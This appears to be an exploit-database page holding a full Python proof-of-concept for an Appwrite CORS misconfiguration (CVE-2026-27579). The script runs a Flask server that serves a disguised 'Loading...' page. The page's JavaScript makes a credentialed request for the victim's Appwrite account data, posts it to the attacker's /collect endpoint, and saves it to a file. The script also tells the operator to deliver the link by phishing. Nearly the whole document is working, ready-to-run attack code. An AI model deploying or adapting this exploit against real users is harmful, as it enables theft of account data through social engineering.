4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CollabPlatform.py PY
#!/usr/bin/env python3
# Exploit Title: Appwrite CORS Misconfiguration - Credentialed Account Data Leak
# CVE: CVE-2026-27579
# Date: 2026-02-22
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://appwrite.io
# Software Link: https://github.com/karnop/realtime-collaboration-platform
# Affected: realtime-collaboration-platform (CollabPlatform) using vulnerable Appwrite config
# Tested on: Appwrite Cloud (as of advisory date)
# Category: Web Application
# Platform: Web
# Exploit Type: Remote
# CVSS: HIGH 	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N 
# Description: Exploits permissive CORS policy allowing arbitrary Origin reflection with credentials=true.
#              Allows stealing authenticated user data (email, $id, MFA status, etc.) when the victim visits
#              an attacker-controlled page while logged in.
# Fixed in: Not fixed at time of advisory publication (February 2026)
# Usage:
#   python3 exploit.py --lhost <your_ip_or_domain> --lport <your_port>
#
# Examples:
#   python3 exploit.py --lhost 192.168.1.100 --lport 8000
#
# Notes:
#   - Requires Flask: pip install flask
#   - Victim must be logged into the target platform / Appwrite session
#   - For public access use ngrok, Cloudflare Tunnel, VPS, etc.

import sys
from flask import Flask, request, make_response
import json
from datetime import datetime

app = Flask(__name__)

def parse_arguments():
    if len(sys.argv) < 4 or '--lhost' not in sys.argv or '--lport' not in sys.argv:
        print("Usage: python3 exploit.py --lhost <your_ip_or_domain> --lport <your_port>")
        print("Example: python3 exploit.py --lhost 192.168.1.100 --lport 8000")
        sys.exit(1)

    lhost = None
    lport = None

    i = 1
    while i < len(sys.argv):
        if sys.argv[i] == '--lhost':
            lhost = sys.argv[i + 1]
            i += 2
        elif sys.argv[i] == '--lport':
            lport = sys.argv[i + 1]
            i += 2
        else:
            i += 1

    if not lhost or not lport:
        print("Error: --lhost and --lport are required.")
        sys.exit(1)

    try:
        lport = int(lport)
    except ValueError:
        print("Error: --lport must be a number.")
        sys.exit(1)

    return lhost, lport


lhost, lport = parse_arguments()
attacker_base = f"http://{lhost}:{lport}"

print("""
╔════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                    ║
║  ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗                          ║
║  ██╔════╝ ██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██╔═══██╗██╔═══██╗                     ║
║  ██║      ██║   ██║██████╔╝█████╗   ██████╔╝██║   ██║██║   ██║                     ║
║  ██║      ██║   ██║██╔══██╗██╔══╝   ██╔═══╝ ██║   ██║██║   ██║                     ║
║  ╚██████╗ ╚██████╔╝██║  ██║███████╗ ██║     ╚██████╔╝╚██████╔╝                     ║
║   ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝ ╚═╝      ╚═════╝  ╚═════╝                      ║
║                                                                                    ║
║                      C V E - 2 0 2 6 - 2 7 5 7 9                                   ║
║               CORS Misconfiguration Exploit Proof of Concept                       ║
║                                                                                    ║
║  ┌──────────────────────────────────────────────────────────────────────────────┐  ║
║  │ Author ............ Mohammed Idrees Banyamer                                 │  ║
║  │ Country ........... Jordan                                                   │  ║
║  │ Instagram ......... @banyamer_security                                       │  ║
║  │ Date .............. February 22, 2026                                        │  ║
║  └──────────────────────────────────────────────────────────────────────────────┘  ║
║                                                                                    ║
╚════════════════════════════════════════════════════════════════════════════════════╝
""")

print(f"[*] Starting malicious server → {attacker_base}")
print(f"[*] Send this link to the target (phishing / social engineering):")
print(f"    {attacker_base}/")
print("")


@app.route('/')
def exploit_page():
    html = f"""<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Loading...</title>
</head>
<body>
    <h2>Please wait...</h2>
    <p>Connecting to realtime collaboration service...</p>

    <script>
    const target = "https://cloud.appwrite.io/v1/account";
    const exfil  = "{attacker_base}/collect";

    fetch(target, {{
        method: "GET",
        credentials: "include",
        mode: "cors",
        headers: {{
            "X-Appwrite-Project": "6981d34b0036b9515a07",
            "X-Appwrite-Response-Format": "1.8.0",
            "Content-Type": "application/json"
        }}
    }})
    .then(r => r.json())
    .then(data => {{
        fetch(exfil, {{
            method: "POST",
            mode: "no-cors",
            keepalive: true,
            headers: {{ "Content-Type": "application/json" }},
            body: JSON.stringify({{
                stolen: data,
                timestamp: new Date().toISOString(),
                userAgent: navigator.userAgent
            }})
        }});

        document.body.innerHTML = "<h2 style='color:green'>Connection successful!</h2><p>Redirecting you now...</p>";
        setTimeout(() => {{ window.location = "https://www.google.com"; }}, 2200);
    }})
    .catch(e => {{
        document.body.innerHTML = "<h2>Error connecting. Try again later.</h2>";
    }});
    </script>
</body>
</html>"""
    return html


@app.route('/collect', methods=['POST', 'OPTIONS'])
def collect():
    if request.method == "OPTIONS":
        resp = make_response()
        resp.headers['Access-Control-Allow-Origin'] = '*'
        resp.headers['Access-Control-Allow-Methods'] = 'POST, OPTIONS'
        resp.headers['Access-Control-Allow-Headers'] = '*'
        return resp

    try:
        data = request.get_json()
        ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC")
        print(f"\n[+] Account stolen ─ {ts}")
        print(json.dumps(data, indent=2))

        with open("stolen_accounts.txt", "a", encoding="utf-8") as f:
            f.write(f"[{ts}] {json.dumps(data)}\n\n")

        return {"ok": True}, 200
    except:
        return {"error": True}, 400


if __name__ == "__main__":
    print("[*] Server is listening...")
    print("[!] Waiting for victim to visit the link while logged in...")
    app.run(host="0.0.0.0", port=lport, debug=False)